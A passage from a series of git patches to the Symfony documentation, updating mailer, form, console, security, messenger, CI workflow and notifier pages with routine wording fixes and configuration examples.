@@ -83,7 +85,7 @@ sendmail      ``sendmail://default``                    Mailer uses the local se
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Instead of using your own SMTP server, you can send emails via a 3rd party
+Instead of using your own SMTP server or sendmail binary, you can send emails via a 3rd party
 provider. Mailer supports several - install whichever you want:
 
 ==================  =============================================
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3174485f516..8fc30e2712a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -155,6 +155,7 @@ Configuration
 
   * :ref:`dsn <mailer-dsn>`
   * `transports`_
+  * `message_bus`_
   * `envelope`_
 
     * `sender`_
@@ -846,6 +847,8 @@ can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-
 
 .. _http-headers:
 
+.. _http-headers:
+
 headers
 .......
 
@@ -2813,6 +2816,18 @@ transports
 A :ref:`list of DSN <multiple-email-transports>` that can be used by the
 mailer. A transport name is the key and the dsn is the value.
 
+message_bus
+...........
+
+.. versionadded:: 5.1
+
+    The ``message_bus`` option was introduced in Symfony 5.1.
+
+**type**: ``string`` **default**: ``null`` or default bus if Messenger component is installed
+
+Service identifier of the message bus to use when using the
+:doc:`Messenger component </messenger>` (e.g. ``messenger.default_bus``).
+
 envelope
 ........
 
@@ -2867,6 +2882,7 @@ recipients set in the code.
 
         // config/packages/mailer.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         return static function (ContainerConfigurator $containerConfigurator): void {
             $containerConfigurator->extension('framework', [
                 'mailer' => [

From a389dfb123e3bd9b6024399e21067c40822944ff Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 17 Aug 2020 09:10:48 +0200
Subject: [PATCH 1522/7107] Complete documentation about mailer integration

---
 mailer.rst                            | 20 +++++++++++++-------
 reference/configuration/framework.rst | 18 ++++++++++++++++--
 2 files changed, 29 insertions(+), 9 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 200064fbbef..60575fed9e9 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -73,14 +73,20 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
 Using Built-in Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-============  ========================================  ==============================
+.. versionadded:: 5.2
+
+    The native protocol was introduced in Symfony 5.2.
+
+============  ========================================  ==============================================================
 DSN protocol  Example                                   Description
-============  ========================================  ==============================
-smtp          ``smtp://user:pass@smtp.example.com:25``  Mailer uses an SMTP server to
-                                                        send emails
-sendmail      ``sendmail://default``                    Mailer uses the local sendmail
-                                                        binary to send emails
-============  ========================================  ==============================
+============  ========================================  ==============================================================
+smtp          ``smtp://user:pass@smtp.example.com:25``  Mailer uses an SMTP server to send emails
+sendmail      ``sendmail://default``                    Mailer uses the local sendmail binary to send emails
+native        ``native://default``                      Mailer uses the sendmail binary and options configured
+                                                        in the ``sendmail_path`` setting of ``php.ini``. On Windows
+                                                        hosts, Mailer fallbacks to ``smtp`` and ``smtp_port``
+                                                        ``php.ini`` settings when ``sendmail_path`` is not configured.
+============  ========================================  ==============================================================
 
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 38388ad21f9..fdc11499c4b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -184,6 +184,8 @@ Configuration
     * `sender`_
     * `recipients`_
 
+  * :ref:`headers <mailer-headers>`
+
 * `php_errors`_
 
   * `log`_
@@ -927,8 +929,6 @@ This setting is automatically set to true when one of the child settings is conf
 
 .. _http-headers:
 
-.. _http-headers:
-
 headers
 .......
 
@@ -3091,6 +3091,20 @@ recipients set in the code.
             ]);
         };
 
+.. _mailer-headers:
+
+headers
+.......
+
+.. versionadded:: 5.2
+
+    The ``headers`` mailer option was introduced in Symfony 5.2.
+
+**type**: ``array``
+
+Headers to add to emails. The key (``name`` attribute in xml format) is the
+header name and value the header value.
+
 workflows
 ~~~~~~~~~
 

From 6b04c5f824e178cb6b0d9575b2068a0c56839c7e Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 21:09:19 +0100
Subject: [PATCH 1523/7107] Removed duplicated line

---
 reference/configuration/framework.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8fc30e2712a..0780b49b0b9 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -847,8 +847,6 @@ can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-
 
 .. _http-headers:
 
-.. _http-headers:
-
 headers
 .......
 

From 034727f94ce8f1247d3ea7c18ff1bb2730522a41 Mon Sep 17 00:00:00 2001
From: Timo Bakx <timobakx@gmail.com>
Date: Sat, 21 Nov 2020 18:34:04 +0100
Subject: [PATCH 1524/7107] [Form] Fixed the layout in the forms page by moving
 the configuration tabs outside the versionadded block.

---
 forms.rst | 65 ++++++++++++++++++++++++++++++-------------------------
 1 file changed, 35 insertions(+), 30 deletions(-)

diff --git a/forms.rst b/forms.rst
index f7acdd18fe2..832a11ca075 100644
--- a/forms.rst
+++ b/forms.rst
@@ -560,46 +560,51 @@ To see the second approach - adding constraints to the form - and to
 learn more about the validation constraints, please refer to the
 :doc:`Symfony validation documentation </validation>`.
 
+Form Validation Messages
+~~~~~~~~~~~~~~~~~~~~~~~~
+
 .. versionadded:: 5.2
 
-    In Symfony 5.2, the form validation messages have been rewritten to be more
-    user-friendly. Set the ``legacy_error_messages`` option to ``false`` to
-    enable these new messages:
+    The ``framework.form.legacy_error_messages`` option was introduced in Symfony 5.2
 
-    .. configuration-block::
+The form validation messages have been rewritten to be more user-friendly.
+To enable these new messages set the ``legacy_error_messages`` option in ``framework``,
+``form`` to ``false``:
+
+.. configuration-block::
 
-        .. code-block:: yaml
+    .. code-block:: yaml
 
-            # config/packages/framework.yaml
-            framework:
-                form:
-                    legacy_error_messages: false
+        # config/packages/framework.yaml
+        framework:
+            form:
+                legacy_error_messages: false
 
-        .. code-block:: xml
+    .. code-block:: xml
 
-            <!-- config/packages/framework.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:framework="http://symfony.com/schema/dic/symfony"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/symfony
-                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-                <framework:config>
-                    <framework:form legacy-error-messages="false"/>
-                </framework:config>
-            </container>
+            <framework:config>
+                <framework:form legacy-error-messages="false"/>
+            </framework:config>
+        </container>
 
-        .. code-block:: php
+    .. code-block:: php
 
-            // config/packages/framework.php
-            $container->loadFromExtension('framework', [
-                'form' => [
-                    'legacy-error-messages' => false,
-                ],
-            ]);
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'form' => [
+                'legacy_error_messages' => false,
+            ],
+        ]);
 
 Other Common Form Features
 --------------------------

From c4b9fc43192dbec06c0646b18b9afa529537f664 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 23:11:15 +0100
Subject: [PATCH 1525/7107] [#14589] Reworded form error messages paragraph

---
 forms.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/forms.rst b/forms.rst
index 832a11ca075..f6935d3d107 100644
--- a/forms.rst
+++ b/forms.rst
@@ -565,11 +565,11 @@ Form Validation Messages
 
 .. versionadded:: 5.2
 
-    The ``framework.form.legacy_error_messages`` option was introduced in Symfony 5.2
+    The ``legacy_error_messages`` option was introduced in Symfony 5.2
 
-The form validation messages have been rewritten to be more user-friendly.
-To enable these new messages set the ``legacy_error_messages`` option in ``framework``,
-``form`` to ``false``:
+The form types have default error messages that are more clear and
+user-friendly than the ones provided by the validation constraints. To enable
+these new messages set the ``legacy_error_messages`` option to ``false``:
 
 .. configuration-block::
 

From b6777219bd16a04857f4cf3570a852fca5def089 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 23:14:00 +0100
Subject: [PATCH 1526/7107] Fixed build

---
 reference/configuration/framework.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5d9459ce97d..fdc11499c4b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -927,6 +927,8 @@ enabled
 Whether to enable the support for retry failed HTTP request or not.
 This setting is automatically set to true when one of the child settings is configured.
 
+.. _http-headers:
+
 headers
 .......
 

From 5e21b791992e8534ac28c94df453fda0e0a6c621 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 21 Nov 2020 19:45:29 +0100
Subject: [PATCH 1527/7107] Added a new troubleshooting section in the
 maintainer guide

---
 _build/maintainer_guide.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 7eff3143941..f5913a8e811 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -335,6 +335,23 @@ in the tree as follows:
     $ git push origin
     $ git push upstream
 
+Merging in the wrong branch
+...........................
+
+A Pull Request was made against ``5.x`` but it should be merged in ``5.1`` and you
+forgot to merge as ``gh merge NNNNN -s 5.1`` to change the merge branch. Solution:
+
+.. code-block:: terminal
+
+    $ git checkout 5.1
+    $ git cherry-pick <SHA OF YOUR MERGE COMMIT> -m 1
+    $ git checkout 5.x
+    $ git revert <SHA OF YOUR MERGE COMMIT> -m 1
+    # now continue with the normal "upmerging"
+    $ git checkout 5.2
+    $ git merge 5.1
+    $ ...
+
 .. _`symfony/symfony-docs`: https://github.com/symfony/symfony-docs
 .. _`Symfony Docs team`: https://github.com/orgs/symfony/teams/team-symfony-docs
 .. _`Symfony's respectful review comments`: https://symfony.com/doc/current/contributing/community/review-comments.html

From 444072509418d6e63acee31efbc18477eb8e5d2b Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Sun, 15 Nov 2020 22:18:17 +0100
Subject: [PATCH 1528/7107] Section method only in ConsoleOutputInterface

---
 console.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/console.rst b/console.rst
index ad9bb8c16e6..f49296cd47f 100644
--- a/console.rst
+++ b/console.rst
@@ -181,8 +181,18 @@ which returns an instance of
     {
         protected function execute(InputInterface $input, OutputInterface $output)
         {
+            // The section() method is only available in classes that implement ConsoleOutputInterface
+            if (!$output instanceof ConsoleOutputInterface) {
+                throw new LogicException(sprintf(
+                    'This command accepts only an instance of "%s", an instance of "%s" is given',
+                    ConsoleOutputInterface::class,
+                    \get_class($output)
+                ));
+            }
+
             $section1 = $output->section();
             $section2 = $output->section();
+
             $section1->writeln('Hello');
             $section2->writeln('World!');
             // Output displays "Hello\nWorld!\n"

From 73f02f17d5e0ea2044e83f393dddd48f4d5a6711 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 22 Nov 2020 12:51:16 +0100
Subject: [PATCH 1529/7107] [#14550] Reduce nr of lines used for exception

---
 console.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/console.rst b/console.rst
index f49296cd47f..f14765ce624 100644
--- a/console.rst
+++ b/console.rst
@@ -173,21 +173,19 @@ called "output sections". Create one or more of these sections when you need to
 clear and overwrite the output information.
 
 Sections are created with the
-:method:`Symfony\\Component\\Console\\Output\\ConsoleOutput::section` method,
-which returns an instance of
+:method:`ConsoleOutput::section() <Symfony\\Component\\Console\\Output\\ConsoleOutput::section>`
+method, which returns an instance of
 :class:`Symfony\\Component\\Console\\Output\\ConsoleSectionOutput`::
 
+    // ...
+    use Symfony\Component\Console\Output\ConsoleOutputInterface;
+
     class MyCommand extends Command
     {
         protected function execute(InputInterface $input, OutputInterface $output)
         {
-            // The section() method is only available in classes that implement ConsoleOutputInterface
             if (!$output instanceof ConsoleOutputInterface) {
-                throw new LogicException(sprintf(
-                    'This command accepts only an instance of "%s", an instance of "%s" is given',
-                    ConsoleOutputInterface::class,
-                    \get_class($output)
-                ));
+                throw new \LogicException('This command accepts only an instance of "ConsoleOutputInterface".');
             }
 
             $section1 = $output->section();

From 62c7f2b6ba2ff1a229dc62c3b8b831cdb2378dd9 Mon Sep 17 00:00:00 2001
From: Martin Hujer <mail@martinhujer.cz>
Date: Thu, 21 Nov 2019 22:17:29 +0100
Subject: [PATCH 1530/7107] Security: add example code which Maker Bundle
 generated

See #11265
---
 security.rst | 54 +++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 53 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index ebeca1b9b5b..070c18b687c 100644
--- a/security.rst
+++ b/security.rst
@@ -96,7 +96,59 @@ optional features, like :doc:`remember me </security/remember_me>` and
 :doc:`impersonation </security/impersonating_user>`.
 
 Fortunately, the ``make:user`` command already configured one for you in your
-``security.yaml`` file under the ``providers`` key.
+``security.yaml`` file under the ``providers`` key:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            providers:
+                # used to reload user from session & other features (e.g. switch_user)
+                app_user_provider:
+                    entity:
+                        class: App\Entity\User
+                        property: email
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <!-- used to reload user from session & other features (e.g. switch-user) -->
+                <provider name="app_user_provider">
+                    <entity class="App\Entity\User" property="email"/>
+                </provider>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+
+        $container->loadFromExtension('security', [
+            // ...
+
+            'providers' => [
+                // used to reload user from session & other features (e.g. switch_user)
+                'app_user_provider' => [
+                    'entity' => [
+                        'class' => User::class,
+                        'property' => 'email',
+                    ],
+                ],
+            ],
+        ]);
 
 If your ``User`` class is an entity, you don't need to do anything else. But if
 your class is *not* an entity, then ``make:user`` will also have generated a

From d291a99ee339d3b4b0fb33c825f2a76b6ce867be Mon Sep 17 00:00:00 2001
From: CvekCoding <36374606+CvekCoding@users.noreply.github.com>
Date: Mon, 24 Feb 2020 21:16:59 +0300
Subject: [PATCH 1531/7107] Bus restricting with Interfaces

Proposed more flexible way to restrict handlers with buses - use interfaces for this.
---
 messenger/multiple_buses.rst | 79 +++++++++++++++++++++---------------
 service_container/tags.rst   |  2 +
 2 files changed, 48 insertions(+), 33 deletions(-)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 5136553dac2..c79aeb7b2b7 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -150,30 +150,30 @@ you can restrict each handler to a specific bus using the ``messenger.message_ha
 This way, the ``App\MessageHandler\SomeCommandHandler`` handler will only be
 known by the ``command.bus`` bus.
 
-You can also automatically add this tag to a number of classes by following
-a naming convention and registering all of the handler services by name with
-the correct tag:
+You can also automatically add this tag to a number of classes by using
+the :ref:`_instanceof service configuration <di-instanceof>`. Using this,
+you can determine the message bus based on an implemented interface:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/services.yaml
+        services:
+            # ...
+
+            _instanceof:
+                # all services implementing the CommandHandlerInterface
+                # will be registered on the command.bus bus
+                App\MessageHandler\CommandHandlerInterface:
+                    tags:
+                        - { name: messenger.message_handler, bus: command.bus }
 
-        # put this after the "App\" line that registers all your services
-        command_handlers:
-            namespace: App\MessageHandler\
-            resource: '%kernel.project_dir%/src/MessageHandler/*CommandHandler.php'
-            autoconfigure: false
-            tags:
-                - { name: messenger.message_handler, bus: command.bus }
-
-        query_handlers:
-            namespace: App\MessageHandler\
-            resource: '%kernel.project_dir%/src/MessageHandler/*QueryHandler.php'
-            autoconfigure: false
-            tags:
-                - { name: messenger.message_handler, bus: query.bus }
+                # while those implementing QueryHandlerInterface will be
+                # registered on the query.bus bus
+                App\MessageHandler\QueryHandlerInterface:
+                    tags:
+                        - { name: messenger.message_handler, bus: query.bus }
 
     .. code-block:: xml
 
@@ -185,32 +185,45 @@ the correct tag:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <!-- command handlers -->
-                <prototype namespace="App\MessageHandler\" resource="%kernel.project_dir%/src/MessageHandler/*CommandHandler.php" autoconfigure="false">
+                <!-- ... -->
+
+                <!-- all services implementing the CommandHandlerInterface
+                     will be registered on the command.bus bus -->
+                <instanceof id="App\MessageHandler\CommandHandlerInterface">
                     <tag name="messenger.message_handler" bus="command.bus"/>
-                </prototype>
-                <!-- query handlers -->
-                <prototype namespace="App\MessageHandler\" resource="%kernel.project_dir%/src/MessageHandler/*QueryHandler.php" autoconfigure="false">
+                </instanceof>
+
+                <!-- while those implementing QueryHandlerInterface will be
+                     registered on the query.bus bus -->
+                <instanceof id="App\MessageHandler\QueryHandlerInterface">
                     <tag name="messenger.message_handler" bus="query.bus"/>
-                </prototype>
+                </instanceof>
             </services>
         </container>
 
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        // Command handlers
-        $container->services()
-            ->load('App\MessageHandler\\', '%kernel.project_dir%/src/MessageHandler/*CommandHandler.php')
-            ->autoconfigure(false)
-            ->tag('messenger.message_handler', ['bus' => 'command.bus']);
+        use App\MessageHandler\CommandHandlerInterface;
+        use App\MessageHandler\QueryHandlerInterface;
 
-        // Query handlers
-        $container->services()
-            ->load('App\MessageHandler\\', '%kernel.project_dir%/src/MessageHandler/*QueryHandler.php')
-            ->autoconfigure(false)
-            ->tag('messenger.message_handler', ['bus' => 'query.bus']);
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            // ...
+
+            // all services implementing the CommandHandlerInterface
+            // will be registered on the command.bus bus
+            $services->instanceof(CommandHandlerInterface::class)
+                ->tag('messenger.message_handler', ['bus' => 'command.bus']);
+
+            // while those implementing QueryHandlerInterface will be
+            // registered on the query.bus bus
+            $services->instanceof(QueryHandlerInterface::class)
+                ->tag('messenger.message_handler', ['bus' => 'query.bus']);
+        };
 
 Debugging the Buses
 -------------------
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8bddd65c795..2f60f369b97 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -60,6 +60,8 @@ and many tags require additional arguments (beyond the ``name`` parameter).
 **For most users, this is all you need to know**. If you want to go further and
 learn how to create your own custom tags, keep reading.
 
+.. _di-instanceof:
+
 Autoconfiguring Tags
 --------------------
 

From e059c5b1cff73ed25b0a0cba22402001b11b0959 Mon Sep 17 00:00:00 2001
From: Ben Davies <ben.davies@gmail.com>
Date: Mon, 10 Feb 2020 13:11:49 +0000
Subject: [PATCH 1532/7107] GitHub Actions: use docker container for CI build

---
 .github/workflows/ci.yaml | 22 +++++++---------------
 1 file changed, 7 insertions(+), 15 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 881b171ce10..8dbda8b72d8 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -14,30 +14,22 @@ jobs:
 
         runs-on: ubuntu-latest
 
+        container: python:3.7-alpine
+
         steps:
             -   name: "Checkout"
                 uses: actions/checkout@v2
 
-            -   name: "Set up Python 3.7"
-                uses: actions/setup-python@v1
-                with:
-                    python-version: '3.7' # Semantic version range syntax or exact version of a Python version
-
             -   name: "Display Python version"
                 run: python -c "import sys; print(sys.version)"
 
-            -   name: "Install Sphinx dependencies"
-                run: sudo apt-get install python-dev build-essential
+            -   name: "Install Sphinx"
+                run: pip install --user sphinx
 
-            -   name: "Cache pip"
-                uses: actions/cache@v2
-                with:
-                    path: ~/.cache/pip
-                    key: ${{ runner.os }}-pip-${{ hashFiles('_build/.requirements.txt') }}
-                    restore-keys: |
-                        ${{ runner.os }}-pip-
+            -   name: "Install dependencies"
+                run: apk add --no-cache git make
 
-            -   name: "Install Sphinx + requirements via pip"
+            -   name: "Install custom requirements via pip"
                 run: pip install -r _build/.requirements.txt
 
             -   name: "Build documentation"

From 935fa86e7b21988dd8bfc17ad9afc6d0605cdfff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 23 Nov 2020 08:57:58 +0100
Subject: [PATCH 1533/7107] Enhancement: Streamline workflow

---
 .github/workflows/ci.yaml | 72 +++++++++++++++++++--------------------
 1 file changed, 36 insertions(+), 36 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 8dbda8b72d8..f6cc2cff17d 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -1,3 +1,5 @@
+name: CI
+
 on:
     push:
         branches-ignore:
@@ -6,11 +8,9 @@ on:
         branches-ignore:
             - 'github-comments'
 
-name: CI
-
 jobs:
-    build:
-        name: Build
+    sphinx-build:
+        name: Build (Sphinx)
 
         runs-on: ubuntu-latest
 
@@ -35,46 +35,46 @@ jobs:
             -   name: "Build documentation"
                 run: make -C _build SPHINXOPTS="-nqW -j auto" html
 
-    build-php:
-        name: Symfony doc builder
+    symfony-docs-builder-build:
+        name: Build (symfony/docs-builder)
 
         runs-on: ubuntu-latest
 
         continue-on-error: true
 
         steps:
-            - name: "Checkout"
-              uses: actions/checkout@v2
-
-            - name: "Set-up PHP"
-              uses: shivammathur/setup-php@v2
-              with:
-                  php-version: 7.2
-                  coverage: none
-                  tools: "composer:v2"
-
-            - name: Get composer cache directory
-              id: composercache
-              working-directory: _build
-              run: echo "::set-output name=dir::$(composer config cache-files-dir)"
-
-            - name: Cache dependencies
-              uses: actions/cache@v2
-              with:
-                  path: ${{ steps.composercache.outputs.dir }}
-                  key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
-                  restore-keys: ${{ runner.os }}-composer-
-
-            - name: "Install dependencies"
-              working-directory: _build
-              run: composer install --prefer-dist --no-progress
-
-            - name: "Build the docs"
-              working-directory: _build
-              run: php build.php -vvv
+            -   name: "Checkout"
+                uses: actions/checkout@v2
+
+            -   name: "Set-up PHP"
+                uses: shivammathur/setup-php@v2
+                with:
+                    php-version: 7.2
+                    coverage: none
+                    tools: "composer:v2"
+
+            -   name: Get composer cache directory
+                id: composercache
+                working-directory: _build
+                run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+            -   name: Cache dependencies
+                uses: actions/cache@v2
+                with:
+                    path: ${{ steps.composercache.outputs.dir }}
+                    key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
+                    restore-keys: ${{ runner.os }}-composer-
+
+            -   name: "Install dependencies"
+                working-directory: _build
+                run: composer install --prefer-dist --no-progress
+
+            -   name: "Build the docs"
+                working-directory: _build
+                run: php build.php -vvv
 
     doctor-rst:
-        name: DOCtor-RST
+        name: Lint (DOCtor-RST)
 
         runs-on: ubuntu-latest
 

From 17f9fbf0481b68cb8c87011fbb3c3aa5b08fd464 Mon Sep 17 00:00:00 2001
From: concilioinvest <eric@pohold.com>
Date: Mon, 23 Nov 2020 22:22:25 +0100
Subject: [PATCH 1534/7107] Update event_dispatcher.rst

It must be the `tag` method.
---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 3462659efb5..2b95a637e28 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -109,7 +109,7 @@ using a special "tag":
         use App\EventListener\ExceptionListener;
 
         $container->register(ExceptionListener::class)
-            ->addTag('kernel.event_listener', ['event' => 'kernel.exception'])
+            ->tag('kernel.event_listener', ['event' => 'kernel.exception'])
         ;
 
 Symfony follows this logic to decide which method to call inside the event

From 07230432e2a85a77ca575abb771e597b06b1ad28 Mon Sep 17 00:00:00 2001
From: Matthieu DANET <m.danet@themkompany.fr>
Date: Tue, 24 Nov 2020 10:35:10 +0100
Subject: [PATCH 1535/7107] Fix wrong key name

---
 reference/forms/types/options/choice_attr.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index b26f2099023..5a0add4f195 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -49,7 +49,7 @@ If an array, the keys of the ``choices`` array must be used as keys::
 
         // ...
         $builder->add('choices', ChoiceType::class, [
-            'choice_label' => ChoiceList::attr($this, function (?Category $category) {
+            'choice_attr' => ChoiceList::attr($this, function (?Category $category) {
                 return $category ? ['data-uuid' => $category->getUuid()] : [];
             }),
         ]);

From 322ce95fbfbcebbac88f06572518326ece0249a2 Mon Sep 17 00:00:00 2001
From: Fabien Salathe <fabacrans@gmail.com>
Date: Tue, 24 Nov 2020 11:58:07 +0100
Subject: [PATCH 1536/7107] Remove wrong "method" tag

Method tag is not needed when the processor is invokable, here it would call `processRecord` which doesn't exist
---
 logging/processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 9f46326ddaa..5f1e27834b5 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -103,7 +103,7 @@ information:
 
         $container
             ->register(SessionRequestProcessor::class)
-            ->addTag('monolog.processor', ['method' => 'processRecord']);
+            ->addTag('monolog.processor');
 
 Finally, set the formatter to be used on whatever handler you want:
 

From 691ed5fb2d94c775f08b7feece3833d1ba4f0dd7 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Tue, 24 Nov 2020 17:08:33 +0100
Subject: [PATCH 1537/7107] Update event_dispatcher.rst

---
 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 0344acf4e8e..ef0392e6dfc 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -313,7 +313,7 @@ order. Start by creating this custom event class and documenting it::
             $this->order = $order;
         }
 
-        public function getOrder()
+        public function getOrder(): Order
         {
             return $this->order;
         }

From 67eb42f6599876ae05c8b17cc7c25792350de662 Mon Sep 17 00:00:00 2001
From: Pierre du Plessis <pierre@pcservice.co.za>
Date: Tue, 24 Nov 2020 21:11:35 +0200
Subject: [PATCH 1538/7107] Fix package name for OvhCloud notifier

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 9737df6395e..573ad0d942c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,7 +59,7 @@ Service     Package                           DSN
 ==========  ================================  ====================================================
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
-OvhCloud    ``symfony/ovhcloud-notifier``     ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+OvhCloud    ``symfony/ovh-cloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
 ==========  ================================  ====================================================

From 1aabce3c0d09b63ca8a6fb8c73dda47ce0a47ac9 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 21 Nov 2020 11:56:23 +0100
Subject: [PATCH 1539/7107] Add a note about exposing env vars for unrecognized
 Docker services

---
 setup/symfony_server.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 0f4d88904d6..bd3a6718664 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -299,6 +299,9 @@ project. It understands that this is a MySQL service and creates environment
 variables accordingly with the service name (``database``) as a prefix:
 ``DATABASE_URL``, ``DATABASE_HOST``, ...
 
+If the service is not in the supported list below, generic environment
+variables are set: ``PORT``, ``IP``, and ``HOST``.
+
 If the ``docker-compose.yaml`` names do not match Symfony's conventions, add a
 label to override the environment variables prefix:
 
@@ -361,6 +364,20 @@ When Docker services are running, browse a page of your Symfony application and
